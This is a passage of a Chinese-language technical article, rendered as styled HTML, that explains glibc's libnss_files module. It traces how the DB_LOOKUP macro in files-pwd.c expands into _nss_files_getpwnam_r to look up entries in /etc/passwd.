5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><strong style="font-weight: bold;color: black;"><span leaf="">buflen</span></strong><span leaf="">：缓冲区大小</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><strong style="font-weight: bold;color: black;"><span leaf="">errnop</span></strong><span leaf="">：错误码输出，</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">ERANGE</span></code><span leaf=""> 表示缓冲区太小</span></p></li></ul><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 18px;"><span leaf="">libnss_files 源码分析（以 passwd 为例）</span></h4><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">理解了命名规则和调用约定后，我们来看 glibc 官方模块的完整执行流程。以 passwd 数据库为例，当应用程序调用 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">getpwnam(&#34;alice&#34;)</span></code><span leaf=""> 时，经过 3.2 节分析的 NSS 框架层后，最终会调用到 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">libnss_files.so.2</span></code><span leaf=""> 中的 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">_nss_files_getpwnam_r</span></code><span leaf=""> 函数。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><strong style="font-weight: bold;color: black;"><span leaf="">这个函数从哪里来？</span></strong></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">nss/nss_files/files-pwd.c</span></code><span leaf=""> 整个文件只有约 45 行：</span></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #61aeee;line-height: 26px;"><span leaf="">#</span><span style="line-height: 26px;"><span leaf="">include</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&lt;pwd.h&gt;</span></span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">#</span><span style="line-height: 26px;"><span leaf="">include</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&lt;nss.h&gt;</span></span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">#</span><span style="line-height: 26px;"><span leaf="">define</span></span><span leaf=""> STRUCTURE  passwd</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">#</span><span style="line-height: 26px;"><span leaf="">define</span></span><span leaf=""> ENTNAME    pwent</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">#</span><span style="line-height: 26px;"><span leaf="">define</span></span><span leaf=""> DATABASE   </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;passwd&#34;</span></span></span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">struct</span></span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">pwent_data</span></span><span leaf=""> {</span></span><span leaf="">};</span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">#</span><span style="line-height: 26px;"><span leaf="">define</span></span><span leaf=""> EXTERN_PARSER</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">#</span><span style="line-height: 26px;"><span leaf="">include</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;files-parse.c&#34;</span></span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">#</span><span style="line-height: 26px;"><span leaf="">include</span></span><span leaf=""> GENERIC</span></span><span leaf=""><br/></span><span leaf="">DB_LOOKUP (pwnam, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;.&#39;</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">, (</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;%s&#34;</span></span><span leaf="">, name),</span><span leaf=""><br/></span><span leaf="">           {</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (name[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">] != </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;+&#39;</span></span><span leaf=""> &amp;&amp; name[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">] != </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;-&#39;</span></span><span leaf=""><br/></span><span leaf="">                 &amp;&amp; ! </span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">strcmp</span></span><span leaf=""> (name, result-&gt;pw_name))</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">break</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">           }, </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">const</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">char</span></span><span leaf=""> *name)</span><span leaf=""><br/></span><span leaf="">DB_LOOKUP (pwuid, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;=&#39;</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">20</span></span><span leaf="">, (</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;%lu&#34;</span></span><span leaf="">, (</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">unsigned</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">long</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf="">) uid),</span><span leaf=""><br/></span><span leaf="">           {</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (result-&gt;pw_uid == uid &amp;&amp; result-&gt;pw_name[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">] != </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;+&#39;</span></span><span leaf=""><br/></span><span leaf="">                 &amp;&amp; result-&gt;pw_name[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">] != </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;-&#39;</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">break</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">           }, </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">uid_t</span></span><span leaf=""> uid)</span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">代码很短，但信息量很大。先看前半部分的宏定义和 include：</span></p><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;list-style-type: disc;" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">STRUCTURE passwd</span></code><span leaf=""> → 结果结构体类型为 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">struct passwd</span></code></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">DATABASE &#34;passwd&#34;</span></code><span leaf=""> → 数据文件路径为 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">/etc/passwd</span></code><span leaf="">（由 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">files-XXX.c</span></code><span leaf=""> 中 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf=""><a class="wx_topic_link" topic-id="moye0916-58ojwu" style="color: #576B95 !important;" data-topic="1" data-recommend="">#define</a> DATAFILE &#34;/etc/&#34; DATABASE</span></code><span leaf=""> 拼接）</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">ENTNAME pwent</span></code><span leaf=""> → 用于拼接函数名（如 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">_nss_files_setpwent</span></code><span leaf="">、</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">_nss_files_endpwent</span></code><span leaf="">）</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf=""><a class="wx_topic_link" topic-id="moye0916-dmqm4z" style="color: #576B95 !important;" data-topic="1" data-recommend="">#include</a> &#34;files-parse.c&#34;</span></code><span leaf=""> → 引入行解析器，负责将 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">/etc/passwd</span></code><span leaf=""> 的每一行文本解析为 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">struct passwd</span></code></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf=""><a class="wx_topic_link" topic-id="moye0916-5rlb1w" style="color: #576B95 !important;" data-topic="1" data-recommend="">#include</a> GENERIC</span></code><span leaf="">（展开为 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">files-XXX.c</span></code><span leaf="">）→ 引入通用框架，提供 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">setpwent</span></code><span leaf="">/</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">endpwent</span></code><span leaf="">/</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">getpwent_r</span></code><span leaf=""> 等函数，以及 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">DB_LOOKUP</span></code><span leaf=""> 宏定义</span></p></li></ul><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">再看后半部分的 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">DB_LOOKUP</span></code><span leaf=""> 调用。</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">DB_LOOKUP</span></code><span leaf=""> 是定义在 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">files-XXX.c</span></code><span leaf=""> 中的一个宏，它是一个</span><strong style="font-weight: bold;color: black;"><span leaf="">函数生成器</span></strong><span leaf="">，通过 C 预处理自动生成完整的查询函数。宏定义如下：</span></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #61aeee;line-height: 26px;"><span leaf="">#</span><span style="line-height: 26px;"><span leaf="">define</span></span><span leaf=""> DB_LOOKUP(name, db_char, keysize, keypattern, break_if_match, proto...)\</span><span leaf=""><br/></span><span leaf="">enum nss_status                                                                 \</span><span leaf=""><br/></span><span leaf="">_nss_files_get#<a class="wx_topic_link" topic-id="moye0916-2ps30e" style="color: #576B95 !important;" data-topic="1" data-recommend="">#name</a>##_r (proto,                                                \</span><span leaf=""><br/></span><span leaf="">                          struct STRUCTURE *result, char *buffer,                \</span><span leaf=""><br/></span><span leaf="">                          size_t buflen, int *errnop)                            \</span><span leaf=""><br/></span><span leaf="">{                                                                               \</span><span leaf=""><br/></span><span leaf="">  enum nss_status status;                                                       \</span><span leaf=""><br/></span><span leaf="">  FILE *stream = NULL;                                                          \</span><span leaf=""><br/></span><span leaf="">  status = internal_setent (&amp;stream);                                           \</span><span leaf=""><br/></span><span style="line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (status == NSS_STATUS_SUCCESS)                                             \</span><span leaf=""><br/></span><span leaf="">    {                                                                           \</span><span leaf=""><br/></span><span leaf="">      while ((status = internal_getent (stream, result, buffer, buflen, errnop))\</span><span leaf=""><br/></span><span leaf="">             == NSS_STATUS_SUCCESS)                                             \</span><span leaf=""><br/></span><span leaf="">        { break_if_match }                                                      \</span><span leaf=""><br/></span><span leaf="">      fclose (stream);                                                          \</span><span leaf=""><br/></span><span leaf="">    }                                                                           \</span><span leaf=""><br/></span><span leaf="">  return status;                                                                \</span><span leaf=""><br/></span><span leaf="">}</span></span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">以 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">DB_LOOKUP(pwnam, ...)</span></code><span leaf=""> 为例，参数对应关系为：</span></p><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><p><span leaf="">宏参数</span></p></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><p><span leaf="">传入值</span></p></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><p><span leaf="">展开后的作用</span></p></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">name</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">pwnam</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">通过 </span><code><span leaf="">##</span></code><span leaf=""> 标记粘合拼接函数名 → </span><code><span leaf="">_nss_files_getpwnam_r</span></code></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">db_char</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">&#39;.&#39;</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">数据库分隔符（本模板未使用）</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">keysize</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">0</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">键大小（本模板未使用）</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">keypattern</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">(&#34;%s&#34;, name)</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">键格式（本模板未使用）</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">break_if_match</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">{ if (...) break; }</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">替换到 while 循环体内，作为匹配条件</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">proto...</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">const char *name</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">变长参数，展开到函数参数列表开头</span></p></td></tr></tbody></table><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">展开过程中有三个关键机制：</span></p><ol style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;list-style-type: decimal;" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><strong style="font-weight: bold;color: black;"><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">#<a class="wx_topic_link" topic-id="moye0916-9i0gzn" style="color: #576B95 !important;" data-topic="1" data-recommend="">#name</a>##</span></code><span leaf=""> 标记粘合（token pasting）</span></strong><span leaf="">：C 预处理将 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">_nss_files_get</span></code><span leaf=""> + </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">pwnam</span></code><span leaf=""> + </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">_r</span></code><span leaf=""> 拼成一个标识符 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">_nss_files_getpwnam_r</span></code></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><strong style="font-weight: bold;color: black;"><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">proto...</span></code><span leaf=""> 变长宏参数</span></strong><span leaf="">：</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">const char *name</span></code><span leaf=""> 原样展开到函数参数列表的第一个位置</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><strong style="font-weight: bold;color: black;"><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">STRUCTURE</span></code><span leaf=""> 宏替换</span></strong><span leaf="">：</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">files-pwd.c</span></code><span leaf=""> 开头定义了 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf=""><a class="wx_topic_link" topic-id="moye0916-ci5z37" style="color: #576B95 !important;" data-topic="1" data-recommend="">#define</a> STRUCTURE passwd</span></code><span leaf="">，所以 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">struct STRUCTURE</span></code><span leaf=""> 变成 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">struct passwd</span></code></p></li></ol><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">展开后的完整函数如下：</span></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">enum</span></span><span leaf=""> nss_status</span><span leaf=""><br/></span><span leaf="">_nss_files_getpwnam_r (</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">const</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">char</span></span><span leaf=""> *name,</span><span leaf=""><br/></span><span leaf="">                       struct passwd *result,</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">char</span></span><span leaf=""> *buffer,</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">size_t</span></span><span leaf=""> buflen,</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> *errnop)</span><span leaf=""><br/></span><span leaf="">{</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">enum</span></span><span leaf=""> nss_status status;</span><span leaf=""><br/></span><span leaf="">    FILE *stream = </span><span style="color: #56b6c2;line-height: 26px;"><span leaf="">NULL</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">    status = internal_setent (&amp;stream);</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (status == NSS_STATUS_SUCCESS)</span><span leaf=""><br/></span><span leaf="">    {</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">while</span></span><span leaf=""> ((status = internal_getent (stream, result, buffer, buflen, errnop))</span><span leaf=""><br/></span><span leaf="">               == NSS_STATUS_SUCCESS)</span><span leaf=""><br/></span><span leaf="">        {</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (name[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">] != </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;+&#39;</span></span><span leaf=""> &amp;&amp; name[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">] != </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;-&#39;</span></span><span leaf=""><br/></span><span leaf="">                &amp;&amp; ! </span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">strcmp</span></span><span leaf=""> (name, result-&gt;pw_name))</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">break</span></span><span leaf="">;</span><span 